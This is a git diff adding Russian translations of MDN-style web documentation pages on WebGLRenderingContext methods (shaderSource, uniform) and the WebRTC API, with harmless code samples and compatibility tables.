Returns information about the framebuffer.
+
{{domxref("WebGLRenderingContext.isFramebuffer()")}}
+
Returns a Boolean indicating if the passed WebGLFrameBuffer object is valid.
+
{{domxref("WebGLRenderingContext.readPixels()")}}
+
Reads a block of pixels from the WebGLFrameBuffer.
+
+ +

Renderbuffers

+ +
+
{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}
+
Binds a WebGLRenderBuffer object to a given target.
+
{{domxref("WebGLRenderingContext.createRenderbuffer()")}}
+
Creates a WebGLRenderBuffer object.
+
{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}
+
Deletes a WebGLRenderBuffer object.
+
{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}
+
Returns information about the renderbuffer.
+
{{domxref("WebGLRenderingContext.isRenderbuffer()")}}
+
Returns a Boolean indicating if the passed WebGLRenderingBuffer is valid.
+
{{domxref("WebGLRenderingContext.renderbufferStorage()")}}
+
Creates a renderbuffer data store.
+
+ +

Textures

+ +
+
{{domxref("WebGLRenderingContext.bindTexture()")}}
+
Binds a WebGLTexture object to a given target.
+
{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}
+
Specifies a 2D texture image in a compressed format.
+
{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}
+
Specifies a 2D texture sub-image in a compressed format.
+
{{domxref("WebGLRenderingContext.copyTexImage2D()")}}
+
Copies a 2D texture image.
+
{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}
+
Copies a 2D texture sub-image.
+
{{domxref("WebGLRenderingContext.createTexture()")}}
+
Creates a WebGLTexture object.
+
{{domxref("WebGLRenderingContext.deleteTexture()")}}
+
Deletes a WebGLTexture object.
+
{{domxref("WebGLRenderingContext.generateMipmap()")}}
+
Generates a set of mipmaps for a WebGLTexture object.
+
{{domxref("WebGLRenderingContext.getTexParameter()")}}
+
Returns information about the texture.
+
{{domxref("WebGLRenderingContext.isTexture()")}}
+
Returns a Boolean indicating if the passed WebGLTexture is valid.
+
{{domxref("WebGLRenderingContext.texImage2D()")}}
+
Specifies a 2D texture image.
+
{{domxref("WebGLRenderingContext.texSubImage2D()")}}
+
Updates a sub-rectangle of the current WebGLTexture.
+
{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}
+
Sets texture parameters.
+
{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}
+
Sets texture parameters.
+
+ +

Programs and shaders

+ +
+
{{domxref("WebGLRenderingContext.attachShader()")}}
+
Attaches a WebGLShader to a WebGLProgram.
+
{{domxref("WebGLRenderingContext.bindAttribLocation()")}}
+
Binds a generic vertex index to a named attribute variable.
+
{{domxref("WebGLRenderingContext.compileShader()")}}
+
Compiles a WebGLShader.
+
{{domxref("WebGLRenderingContext.createProgram()")}}
+
Creates a WebGLProgram.
+
{{domxref("WebGLRenderingContext.createShader()")}}
+
Creates a WebGLShader.
+
{{domxref("WebGLRenderingContext.deleteProgram()")}}
+
Deletes a WebGLProgram.
+
{{domxref("WebGLRenderingContext.deleteShader()")}}
+
Deletes a WebGLShader.
+
{{domxref("WebGLRenderingContext.detachShader()")}}
+
Detaches a WebGLShader.
+
{{domxref("WebGLRenderingContext.getAttachedShaders()")}}
+
Returns a list of WebGLShader objects attached to a WebGLProgram.
+
{{domxref("WebGLRenderingContext.getProgramParameter()")}}
+
Returns information about the program.
+
{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}
+
Returns the information log for a WebGLProgram object.
+
{{domxref("WebGLRenderingContext.getShaderParameter()")}}
+
Returns information about the shader.
+
{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}
+
Returns a WebGLShaderPrecisionFormat object describing the precision for the numeric format of the shader.
+
{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}
+
Returns the information log for a WebGLShader object.
+
{{domxref("WebGLRenderingContext.getShaderSource()")}}
+
Returns the source code of a WebGLShader as a string.
+
{{domxref("WebGLRenderingContext.isProgram()")}}
+
Returns a Boolean indicating if the passed WebGLProgram is valid.
+
{{domxref("WebGLRenderingContext.isShader()")}}
+
Returns a Boolean indicating if the passed WebGLShader is valid.
+
{{domxref("WebGLRenderingContext.linkProgram()")}}
+
Links the passed WebGLProgram object.
+
{{domxref("WebGLRenderingContext.shaderSource()")}}
+
Sets the source code in a WebGLShader.
+
{{domxref("WebGLRenderingContext.useProgram()")}}
+
Uses the specified WebGLProgram as part the current rendering state.
+
{{domxref("WebGLRenderingContext.validateProgram()")}}
+
Validates a WebGLProgram.
+
+ +

Uniforms and attributes

+ +
+
{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}
+
Disables a vertex attribute array at a given position.
+
{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}
+
Enables a vertex attribute array at a given position.
+
{{domxref("WebGLRenderingContext.getActiveAttrib()")}}
+
Returns information about an active attribute variable.
+
{{domxref("WebGLRenderingContext.getActiveUniform()")}}
+
Returns information about an active uniform variable.
+
{{domxref("WebGLRenderingContext.getAttribLocation()")}}
+
Returns the location of an attribute variable.
+
{{domxref("WebGLRenderingContext.getUniform()")}}
+
Returns the value of a uniform variable at a given location.
+
{{domxref("WebGLRenderingContext.getUniformLocation()")}}
+
Returns the location of a uniform variable.
+
{{domxref("WebGLRenderingContext.getVertexAttrib()")}}
+
Returns information about a vertex attribute at a given position.
+
{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}
+
Returns the address of a given vertex attribute.
+
{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}
+
Specifies a value for a uniform variable.
+
{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}
+
Specifies a matrix value for a uniform variable.
+
{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}
+
Specifies a value for a generic vertex attribute.
+
{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}
+
Specifies the data formats and locations of vertex attributes in a vertex attributes array.
+
+ +

Drawing buffers

+ +
+
{{domxref("WebGLRenderingContext.clear()")}}
+
Clears specified buffers to preset values.
+
{{domxref("WebGLRenderingContext.drawArrays()")}}
+
Renders primitives from array data.
+
{{domxref("WebGLRenderingContext.drawElements()")}}
+
Renders primitives from element array data.
+
{{domxref("WebGLRenderingContext.finish()")}}
+
Blocks execution until all previously called commands are finished.
+
{{domxref("WebGLRenderingContext.flush()")}}
+
Empties different buffer commands, causing all commands to be executed as quickly as possible.
+
+ +

Working with extensions

+ +

These methods manage WebGL extensions:

+ +
+
{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}
+
Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.
+
{{domxref("WebGLRenderingContext.getExtension()")}}
+
Returns an extension object.
+
+ +

Examples

+ +

WebGL context feature detection

+ +

{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}

+ +

{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}

+ +

{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}

+ +

Effect of canvas size on rendering with WebGL

+ +

{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}

+ +

{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}

+ +

{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}20{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
Available in workers{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}1.0{{CompatUnknown}}128.0
Available in workers{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

See also

+ + diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html new file mode 100644 index 0000000000..86ac976ab8 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html @@ -0,0 +1,70 @@ +--- +title: WebGLRenderingContext.shaderSource() +slug: Web/API/WebGLRenderingContext/shaderSource +translation_of: Web/API/WebGLRenderingContext/shaderSource +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.shaderSource() метод WebGL API записывает исходный код шейдера в шейдерную программу {{domxref("WebGLShader")}}.

+ +

Синтаксис

+ +
void gl.shaderSource(shader, source);
+
+ +

Параметры

+ +
+
shader
+
A {{domxref("WebGLShader")}} объект в который записывается исходный код.
+
source
+
A {{domxref("DOMString")}} исходный код шейдера на GLSL который будет записан.
+
+ +

Возвращаемое значение

+ +

None.

+ +

Примеры

+ +
var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.9", "shaderSource")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glShaderSource.xml", "glShaderSource")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.shaderSource")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html new file mode 100644 index 0000000000..010da6fc8e --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html @@ -0,0 +1,99 @@ +--- +title: 'WebGLRenderingContext.uniform[1234][fi][v]()' +slug: Web/API/WebGLRenderingContext/uniform +translation_of: Web/API/WebGLRenderingContext/uniform +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.uniform[1234][fi][v]() метод WebGL API устонавливает значение для постоянных переменных Uniform.

+ +
+

Иногие из описаных в этом разделе функцию имеют расширенные интерфейсы WebGL 2, которые можно найти {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}.

+
+ +

Синтаксис

+ +
gl.uniform1f (floatUniformLoc, v); // для float
+gl.uniform1fv(floatUniformLoc, [v]); // для float или массива float
+gl.uniform2f (vec2UniformLoc, v0, v1); // для vec2
+gl.uniform2fv(vec2UniformLoc, [v0, v1]); // для vec2 или массива vec2
+gl.uniform3f (vec3UniformLoc, v0, v1, v2); // для vec3
+gl.uniform3fv(vec3UniformLoc, [v0, v1, v2]); // для vec3 или массива vec3
+gl.uniform4f (vec4UniformLoc, v0, v1, v2, v4); // для vec4
+gl.uniform4fv(vec4UniformLoc, [v0, v1, v2, v4]); // для vec4 или массива vec4
+
+gl.uniform1i (intUniformLoc, v); // для int
+gl.uniform1iv(intUniformLoc, [v]); // для int или массива int
+gl.uniform2i (ivec2UniformLoc, v0, v1); // для ivec2
+gl.uniform2iv(ivec2UniformLoc, [v0, v1]); // для ivec2 или массива ivec2
+gl.uniform3i (ivec3UniformLoc, v0, v1, v2); // для ivec3
+gl.uniform3iv(ivec3UniformLoc, [v0, v1, v2]); // для ivec3 или массива ivec3
+gl.uniform4i (ivec4UniformLoc, v0, v1, v2, v4); // для ivec4
+gl.uniform4iv(ivec4UniformLoc, [v0, v1, v2, v4]); // для ivec4 или массива ivec4
+
+
+gl.uniform1i (sampler2DUniformLoc, v); // для sampler2D (текстуры)
+gl.uniform1iv(sampler2DUniformLoc, [v]); // для sampler2D или массива sampler2D
+
+
+gl.uniform1i (samplerCubeUniformLoc, v); // для samplerCube (текстуры)
+gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или массива samplerCube
+
+ +

Параметры

+ +
+
location
+
{{domxref("WebGLUniformLocation")}} объект содержащий uniform атрибут для его изменения.
+
value, v0, v1, v2, v3
+
Новое значение для uniform переменной. Допустимые типы: +
    +
  • Тип float {{jsxref("Number")}} для этого типа (методы с "f").
    • +
  • Последовательность чисел с плавающей точкой (пример {{jsxref("Float32Array")}} или {{jsxref("Array")}} чисел) fдля векторных методов с плавающей точкой (методы с "fv").
    • +
  • Тип  {{jsxref("Number")}} для этого типа (методы с "i").
    • +
  • {{jsxref("Int32Array")}} вектор чисел {{jsxref("Number")}} (методы с "iv").
    • +
+
+
+ +

Возвращаемое значение 

+ +

None.

+ +

Примеры

+ +
GL.uniform1f(GL.getUniformLocation(PROGRAM,'u_time'), timeStamp/1000.0)
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "uniform")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}{{Spec2('OpenGL ES 2.0')}}Main page of the OpenGL API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.uniform1f")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html new file mode 100644 index 0000000000..97e09d25e2 --- /dev/null +++ b/files/ru/web/api/webrtc_api/adapter.js/index.html @@ -0,0 +1,42 @@ +--- +title: Увеличиваем совместимость с WebRTC adapter.js +slug: Web/API/WebRTC_API/adapter.js +tags: + - adapter.js +translation_of: Web/API/WebRTC_API/adapter.js +--- +

{{WebRTCSidebar}}

+ +

Несмотря на то, что WebRTC спецификация относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префексы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация WebRTC предлагает библиотеку adapter.js для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути

+ +
+

Примечание : Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.

+
+ +

Адаптер предоставляется по лицензии BSD-style license.

+ +

Как работает adapter.js

+ +

Для каждой версии  браузера, поддерживающего WebRTC, adapter.js реализует необходимые полизаполнители, устанавливает имена API без префиксов и применяет любые другие изменения, необходимые для того, чтобы браузер выполнял код, в сообтветствии со спецификацией WebRTC.

+ +

Например, в версиях Firefox старше 38 адаптер добавляет свойство {{domxref ("RTCPeerConnection.urls")}}; Firefox изначально не поддерживает это свойство до Firefox 38, а в Chrome адаптер добавляет поддержку API {{jsxref ("Promise")}}, если он отсутствует. Это всего лишь пара примеров. Вот в кратце, какие корректировки производит библиотека.

+ +

В настоящее время адаптер WebRTC поддерживает Mozilla Firefox, Google Chrome, Apple Safari и Microsoft Edge.

+ +

Использование adapter.js

+ +

Для того чтобы использовать adapter.js, вам нужно включить adapter.js в любую страницу, которая использует API WebRTC:

+ +
    +
  1. Скопируйте  последнюю версию adapter.js с GitHub.
    2. +
  2. Поместите копию в структурную директорию вашего сайта (к примеру, в корневую директорию скриптов).
    3. +
  3. Поместите элемент скрипта со ссылкой на библиотеку adapter.js в ваш проект: <script src="adapter.js"></script>
    4. +
  4. При кодировании, используйте интерфейсы WebRTC как указано в спецификации (без всяких префиксов производителей) , будучи уверенным, что он будет работать во всех браузерах .
    5. +
  5. Помните, что даже присутствие хорошего клина, не означает отмену тестирования вашего кода на различных браузерах (а идеально, и в различных версиях каждого браузера).
    6. +
+ +

Смотри так же

+ + diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..78971cd1df --- /dev/null +++ b/files/ru/web/api/webrtc_api/index.html @@ -0,0 +1,195 @@ +--- +title: WebRTC API +slug: Web/API/WebRTC_API +translation_of: Web/API/WebRTC_API +--- +

{{WebRTCSidebar}}

+ +

WebRTC (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.

+ +

WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.

+ +

Совместимость

+ +

Поскольку реализация WebRTC находится в процессе становления, и каждый браузер имеет различный уровень поддержки кодеков и WebRTC функций, настоятельно рекомендуется использовать полифил-библиотеку Adapter.js от Google до начала работы над вашим кодом.

+ +

Adapter.js использует клинья и полифилы для гладкой стыковки различий в реализациях WebRTC среди контекстов, его поддерживающих. Adapter.js также обрабатывает префиксы производителей и иные различия именования свойств, облегчая процесс разработки на WebRTC с наиболее совместимым результатом. Библиотека также доступна как NPM пакет.

+ +

Для дальнейшего изучения библиотеки Adapter.js смотрите Улучшаем совместимость при использовании WebRTC adapter.js.

+ +

Понятия и использование WebRTC 

+ +

WebRTC является многоцелевым и вместе с Media Capture and Streams API, предоставляют мощные мультимедийные возможности для Web, включая поддержку аудио и видео конференций, обмен файлами, захват экрана, управление идентификацией и взаимодействие с  устаревшими телефонными системами, включая поддержку передачи сигналов тонового набора {{Glossary("DTMF")}}. Соединения между узлами могут создаваться без использования специальных драйверов или плагинов, и часто без промежуточных сервисов.

+ +

Соединение между двумя узлами представлено как объект интерфейса  {{DOMxRef("RTCPeerConnection")}}. Как только соединение установлено и открыто, используя объект RTCPeerConnection, медиапотоки ({{DOMxRef("MediaStream")}}s) и/или каналы данных ({{DOMxRef("RTCDataChannel")}}s) могут быть добавлены в соединение.

+ +

Медиа потоки могут состоять из любого количества треков (дорожек) медиаинформации. Эти треки, представлены объектами интерфейса  {{DOMxRef("MediaStreamTrack")}} , и могут содержать один или несколько типов медиаданных, включая аудио, видео, текст (такие как субтитры или название глав). Большинство потоков состоят, как минимум, только из одного аудио трека (одной аудио дорожки), или видео дорожки, и могут быть отправлены и получены, как потоки (медиаданные в настоящим времени) или сохранены в файл.

+ +

Так же, можно использовать соединение между двумя узлами  для обмена произвольными данными, используя объект интерфейса {{DOMxRef("RTCDataChannel")}}, что может быть использовано для передачи служебной информации, биржевых данных , пакетов игровых статусов, передача файлов или закрытых каналов передачи данных.

+ +

more details and links to relevant guides and tutorials needed

+ +

WebRTC интерфейсы

+ +

По причине того, что WebRTC предоставляет интерфейсы, работающие совместно для выполнения различных задач, мы разделили их на категории. Смотрите алфавитный указатель боковой панели для быстрой навигации.

+ +

Настройка соединения и управление

+ +

Эти интерфейсы используются для настройки, открытия и управлением  WebRTC соединениями. Они представляют одноуровневые медиа соединения, каналы данных, и интерфейсы, использующиеся при обмене информацией о возможностях каждого узла, для выбора наилучшей конфигурации при установки двустороннего мультимедийного соединения.

+ +
+
{{domxref("RTCPeerConnection")}}
+
Представляет  WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.
+
{{domxref("RTCSessionDescription")}}
+
Представляет параметры сессии. Каждый RTCSessionDescription содержит описания типа, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и SDP-дескриптор сессии.
+
{{domxref("RTCIceCandidate")}}
+
Представляет собой кандидата сервера установки интернет соединения (ICE)  для установленовки соединения {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCIceTransport")}}
+
Представляет информацию о средстве подключения к Интернету (ICE).
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.
+
{{domxref("RTCRtpSender")}}
+
Управляет кродированием и передачей данных через объект типа  {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCRtpReceiver")}}
+
Управляет получением и декодированием данных через объект типа {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCTrackEvent")}}
+
Указывает на то, что новый входящий объект типа  {{domxref("MediaStreamTrack")}} был создан и объект типа {{domxref("RTCRtpReceiver")}} был добавлен в объект  {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCCertificate")}}
+
Представляет сертификат, который использует объект {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCDataChannel")}}
+
Представляет двунапрвленный канал данных между двумя узлами соединения.
+
{{domxref("RTCDataChannelEvent")}}
+
Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.
+
{{domxref("RTCDTMFSender")}}
+
Управляет кодированием и передачей  двутональной мультичастотной  (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCDTMFToneChangeEvent")}}
+
Указывает на входящее событие изменение тона двутоновой мультичастотной сигнализации  (DTMF). Это событие не всплывает (если не указано иначе) и не является отменяемым (если не указано иначе).
+
{{domxref("RTCStatsReport")}}
+
Ассинхронно сообщает статус для переданного объекта типа  {{domxref("MediaStreamTrack")}} .
+
{{domxref("RTCIdentityProviderRegistrar")}}
+
Регистрирует провайдер идентификации (idP).
+
{{domxref("RTCIdentityProvider")}}
+
Активирует возможность браузеру запросить создание или проверку обяъвления идентификации.
+
{{domxref("RTCIdentityAssertion")}}
+
Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет null. После установки не изменяется.
+
{{domxref("RTCIdentityEvent")}}
+
Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.
+
{{domxref("RTCIdentityErrorEvent")}}
+
Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.
+
+ +

Руководства

+ +
+
Обзор архитектуры WebRTC
+
Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.
+
Жизнь WebRTC-сессии
+
WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.
+
Обзор WebRTC API
+
WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.
+
Основы WebRTC
+
Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.
+
Протоколы WebRTC
+
В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.
+
+ +
+
Использование каналов данных в WebRTC
+
Это руководство описывает как вы можете использовать соединение узел-узел и связанный {{domxref("RTCDataChannel")}} для обмена произвольными данными между двумя узлами.
+
+ +
+
Взаимосвязи WebRTC
+
В этой статье описано то, как протоколы, связанные с WebRTC, взаимодействуют друг с другом для того, чтобы создать соединение и передавать данные и/или медиа-потоки между узлами.
+
+ +

Учебные материалы

+ +
+
Увеличение совместимости, используя WebRTC adapter.js
+
Организация WebRTC  предлагает на GitHub библиотеку adapter.js для решения вопросов совместимости WebRTC реализаций в различных браузерах. Эта библиотека является JavaScript клином, который позволяет писать код, согласно спецификации, так, что бы он просто взял, и заработал во всех браузерах с поддержкой  WebRTC, не смотря на проблемы совместимости браузеров.
+
Захват кадров с WebRTC
+
Статья описывает как использовать WebRTC для получения доступа к камере на компьютере или мобильном устройстве с поддержкой  WebRTC, и захват кадров с его помощью.
+
Простой пример канала данных RTCDataChannel
+
Интерфейс {{domxref("RTCDataChannel")}}  - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны  WebSocket API, так, что бы в обоих могла использоваться единая модель программирования.
+
Сигнализация и двухсторонние видео вызовы
+
Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.
+
+ +

Ресурсы

+ +

Протоколы

+ +

WebRTC- текущие протоколы

+ + + +

Связанные поддерживающие протоколы

+ + + +

WebRTC статистика

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}The initial definition of the API of WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}The initial definition of the object conveying the stream of media content.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}The initial definition on how to obtain stream of content from DOM Elements
+ +

В дополнение к этим спецификациям, определяющим API, необходимый для использования WebRTC, имеется несколько протоколов, перечисленных в разделе ресурсы.

+ + + + diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html new file mode 100644 index 0000000000..958fd99136 --- /dev/null +++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html @@ -0,0 +1,90 @@ +--- +title: Жизнь WebRTC-сессии +slug: Web/API/WebRTC_API/Session_lifetime +translation_of: Web/API/WebRTC_API/Session_lifetime +--- +

{{WebRTCSidebar}}{{draft}}

+ +
+
+
WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.
+
+
+ +

Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса вцелом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью Signaling and video calling, чтобы получить пример с пошаговым объяснением того, что делает код.

+ +
+

Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. 

+ +

Вы можете помочь перевести документацию для других разработчиков. Пожалуйста принесите пользу миру и помогите с качественным переводом этой документации.

+
+ +

Установка соединения

+ +

Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.

+ +

Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и посути, IP-адрес устройства может измениться не только тогда, когда оно перемещяется из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет.  Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.

+ +

Это похоже на попытку отправить письмо подруге Мишель, написав только на конверте слово "Мишель" и опустить в почтовый ящик. Вам необходимо выяснить её адрес и указать его на конверте, иначе она сильно удивится, почему вы забыли про её день рождения.

+ +

Всё это входит в процесс сигнализации.

+ +

Процесс Сигнализации

+ +

Сигнализация - это процесс передачи управляющей информации между двумя устройствами для опредения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - этот процесс не определен в спецификации.

+ +

Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.

+ +

